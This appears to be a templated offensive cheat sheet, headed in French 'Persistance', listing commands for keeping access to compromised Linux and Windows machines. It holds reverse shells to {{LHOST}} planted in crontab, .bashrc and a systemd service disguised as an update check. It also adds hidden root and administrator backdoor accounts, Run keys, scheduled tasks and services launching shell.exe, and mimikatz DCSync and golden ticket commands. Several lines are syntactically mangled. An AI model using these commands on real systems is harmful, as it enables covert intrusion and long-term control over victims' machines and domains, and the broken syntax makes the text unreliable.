Persistance

# Générer une paire de clés côté attaquant
ssh-keygen -t ed25519 -f /tmp/backdoor -N ""
# Ajouter la clé publique sur la cible
mkdir -p /home/{{USER}}/.ssh
echo "{{SSH_PUBLIC_KEY}}" >> /home/{{USER}}/.ssh/authorized_keys
chmod 600 /home/{{USER}}/.ssh/authorized_keys
# Connexion persistante
ssh -i /tmp/backdoor {{USER}}{{TARGET}}

# Reverse shell toutes les 5 minutes
echo "*/5 * * * * root bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1" >> /etc/crontab
# Ou via crontab user
crontab -l 2>/dev/null; echo "*/5 * * * * bash -c 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'" | crontab 

# Créer un utilisateur root
useradd -o -u 0 -g 0 -s /bin/bash -d /root {{BACKDOOR_USER}}
echo "{{BACKDOOR_USER}}:{{BACKDOOR_PASS}}" | chpasswd
# Ajouter à sudoers sans mot de passe
echo "{{BACKDOOR_USER}} ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

# Ajouter un compte root
echo "{{BACKDOOR_USER}}:$(openssl passwd {{BACKDOOR_PASS}}):0:0::/root:/bin/bash" >> /etc/passwd

# Dans ~/.bashrc ou ~/.profile
echo "bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1" >> /.bashrc
# Silencieux avec redirection
echo "nohup bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1 &" >> /.bashrc

cat > /etc/systemd/system/update-check.service << 'EOF'
Unit
DescriptionSystem Update Check
Service
ExecStart/bin/bash -c 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'
Restartalways
RestartSec60
Install
WantedBymulti-user.target
EOF
systemctl enable update-check
systemctl start update-check

# HKCU (user courant)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\Temp\shell.exe" /f
# HKLM (tous les utilisateurs, nécessite admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\Temp\shell.exe" /f

# Toutes les heures
schtasks /create /tn "WindowsUpdate" /tr "C:\Temp\shell.exe" /sc hourly /ru System /f
# Au démarrage
schtasks /create /tn "StartupTask" /tr "C:\Temp\shell.exe" /sc onstart /ru System /f

sc create "WindowsHelper" binpath "C:\Temp\shell.exe" start auto
sc start "WindowsHelper"

net user {{BACKDOOR_USER}} {{BACKDOOR_PASS}} /add
net localgroup administrators {{BACKDOOR_USER}} /add
# Cacher de l'écran de login
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v {{BACKDOOR_USER}} /t REG_DWORD /d 0 /f

# Dans mimikatz, dump le hash KRBTGT
lsadumpdcsync /userkrbtgt
# Créer le golden ticket
kerberosgolden /userAdministrator /domain{{DOMAIN}} /sid{{DOMAIN_SID}} /krbtgt{{KRBTGT_HASH}} /ticketgoldenkirbi
# Utiliser le ticket
kerberosptt goldenkirbi